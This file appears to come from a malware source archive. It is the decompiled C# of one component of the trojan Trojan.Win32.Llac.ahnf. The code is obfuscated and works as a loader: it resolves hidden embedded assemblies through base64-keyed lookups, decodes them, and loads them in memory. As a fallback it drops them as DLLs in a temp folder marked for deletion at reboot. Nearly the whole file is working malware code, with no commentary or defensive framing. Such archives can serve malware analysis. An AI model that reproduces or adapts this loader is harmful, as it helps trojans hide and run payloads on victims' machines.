MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336/_0004/_0002.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null
// MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336.exe

using \u0003;
using \u0004;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;

namespace \u0004
{
  internal class \u0002
  {
    private static Hashtable \u0001 = new Hashtable();

    [DllImport("kernel32", EntryPoint = "MoveFileEx")]
    private static extern bool \u0002([In] string obj0, [In] string obj1, [In] int obj2);

    internal static void \u0002()
    {
      try
      {
        AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0002);
      }
      catch
      {
      }
    }

    internal static Assembly \u0002([In] object obj0, [In] ResolveEventArgs obj1)
    {
      \u0002.\u0001 obj = new \u0002.\u0001(obj1.Name);
      string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0002(false)));
      string[] strArray;
      string str1;
      bool flag1;
      bool flag2;
      int index1;
      if (true)
      {
        strArray = "ezJmNmJkMmIyLTYxYjEtNDg2Yi05MGE1LTdmMTFhOWIwYzVjM30sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{2f6bd2b2-61b1-486b-90a5-7f11a9b0c5c3},e2FmNWJjNTA3LTk1MTktNDk3NS1hYzNjLWYyMTA2OTEzYjhiYX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{af5bc507-9519-4975-ac3c-f2106913b8ba},ezI1ZGFkYzZlLTRhNmEtNGExYy1hODJjLWJlMGJiMzU3ZGJjYX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{25dadc6e-4a6a-4a1c-a82c-be0bb357dbca},e2E4N2I2MjU4LWNkNTYtNDdmZC1iNTU2LTY4ZDY1NzIwNTJiM30sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{a87b6258-cd56-47fd-b556-68d6572052b3},e2YyNTc4ZTA0LTUzZDEtNGE2Ni1iZGJlLTEzMDY2MDZmMDMxYn0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{f2578e04-53d1-4a66-bdbe-1306606f031b}".Split(',');
        str1 = string.Empty;
        flag1 = false;
        flag2 = false;
        index1 = 0;
        goto label_6;
      }
      else
        goto label_18;
label_3:
      int num1;
      if (num1 != 0)
      {
        str1 = strArray[index1 + 1];
        goto label_9;
      }
      else
        index1 += 2;
label_6:
      int num2 = index1;
      int num3 = strArray.Length;
      int num4 = num2;
label_7:
      int num5 = num3 - 1;
label_8:
      if (num4 < num5)
      {
        num1 = strArray[index1] == base64String ? 1 : 0;
        goto label_3;
      }
label_9:
      if (str1.Length == 0 && obj.\u0003.Length == 0)
        base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001));
      else
        goto label_16;
label_11:
      for (int index2 = 0; index2 < strArray.Length - 1; index2 += 2)
      {
        if (strArray[index2] == base64String)
        {
          str1 = strArray[index2 + 1];
          break;
        }
      }
label_16:
      if (true)
      {
        if (str1.Length <= 0)
          goto label_43;
      }
      else
        goto label_11;
label_18:
      num4 = (int) str1[0];
      num3 = 0;
      if (num3 == 0)
      {
        if (num3 != 0)
        {
          num1 = num4;
          goto label_3;
        }
        else
        {
          if (num4 == 91)
          {
            int num6 = str1.IndexOf(']');
            string str2 = str1.Substring(1, num6 - 1);
            int num7 = str2.IndexOf('z');
            int num8 = 0;
            if (num8 != 0)
            {
              num5 = num8;
              num4 = num7;
              goto label_8;
            }
            else
            {
              flag1 = num7 >= num8;
              flag2 = str2.IndexOf('t') >= 0;
              str1 = str1.Substring(num6 + 1);
            }
          }
          lock (\u0002.\u0001)
          {
label_25:
            int num9;
            for (int index3 = \u0002.\u0001.ContainsKey((object) str1) ? 1 : 0; index3 == 0; index3 = num9)
            {
              Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1);
              if (manifestResourceStream != null)
              {
                int length = (int) manifestResourceStream.Length;
                byte[] numArray = new byte[length];
                manifestResourceStream.Read(numArray, 0, length);
                if (flag1)
                  numArray = \u0002.\u0002(numArray);
                Assembly assembly;
                do
                {
                  assembly = (Assembly) null;
                  if (!flag2)
                  {
                    try
                    {
                      assembly = Assembly.Load(numArray);
                    }
                    catch (FileLoadException ex)
                    {
                      flag2 = true;
                    }
                    catch (BadImageFormatException ex)
                    {
                      flag2 = true;
                    }
                  }
                  if (flag2)
                  {
                    try
                    {
                      string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1);
                      Directory.CreateDirectory(path1);
                      string path2 = path1 + obj.\u0001 + ".dll";
                      if (!File.Exists(path2))
                      {
                        FileStream fileStream = File.OpenWrite(path2);
                        fileStream.Write(numArray, 0, numArray.Length);
                        fileStream.Close();
                        \u0002.\u0002(path2, (string) null, 4);
                        \u0002.\u0002(path1, (string) null, 4);
                      }
                      assembly = Assembly.LoadFile(path2);
                    }
                    catch
                    {
                    }
                  }
                  num9 = -1;
                  if (num9 == 0)
                    goto label_25;
                }
                while (num9 == 0);
                \u0002.\u0001[(object) str1] = (object) assembly;
                return assembly;
              }
              goto label_43;
            }
            return (Assembly) \u0002.\u0001[(object) str1];
          }
        }
      }
      else
        goto label_7;
label_43:
      if (true)
        return (Assembly) null;
      goto label_9;
    }

    internal struct \u0001
    {
      public string \u0001;
      public Version \u0001;
      public string \u0002;
      public string \u0003;

      public string \u0002([In] bool obj0)
      {
        StringBuilder stringBuilder = new StringBuilder();
        stringBuilder.Append(this.\u0001);
label_11:
        int num1 = obj0 ? 1 : 0;
        while (true)
        {
          if (num1 != 0)
          {
            int num2 = this.\u0001 != (Version) null ? 1 : 0;
            if (false)
              num1 = num2;
            else if (num2 == 0)
              goto label_4;
            else
              goto label_13;
          }
          else
            goto label_4;
        }
        goto label_5;
label_4:
        stringBuilder.Append(", Culture=");
        num1 = 0;
label_5:
        if (num1 == 0)
        {
          while (true)
          {
            if (true)
            {
              if (true)
              {
                stringBuilder.Append(this.\u0002.Length == 0 ? "neutral" : this.\u0002);
                stringBuilder.Append(", PublicKeyToken=");
                stringBuilder.Append(this.\u0003.Length == 0 ? "null" : this.\u0003);
                goto label_10;
              }
              else
                goto label_11;
            }
          }
          goto label_13;
        }
label_10:
        return stringBuilder.ToString();
label_13:
        stringBuilder.Append(", Version=");
        stringBuilder.Append((object) this.\u0001);
        goto label_4;
      }

      public \u0001([In] string obj0)
      {
        this.\u0001 = (Version) null;
        this.\u0002 = string.Empty;
        this.\u0003 = string.Empty;
        this.\u0001 = string.Empty;
        string str1 = obj0;
        char[] chArray = new char[1]{ ',' };
        foreach (string str2 in str1.Split(chArray))
        {
          string str3 = str2.Trim();
          if (str3.StartsWith("Version="))
            this.\u0001 = new Version(str3.Substring(8));
          else if (str3.StartsWith("Culture="))
          {
            this.\u0002 = str3.Substring(8);
            if (this.\u0002 == "neutral")
              this.\u0002 = string.Empty;
          }
          else if (str3.StartsWith("PublicKeyToken="))
          {
            this.\u0003 = str3.Substring(15);
            if (this.\u0003 == "null")
              this.\u0003 = string.Empty;
          }
          else
            this.\u0001 = str3;
        }
      }
    }
  }
}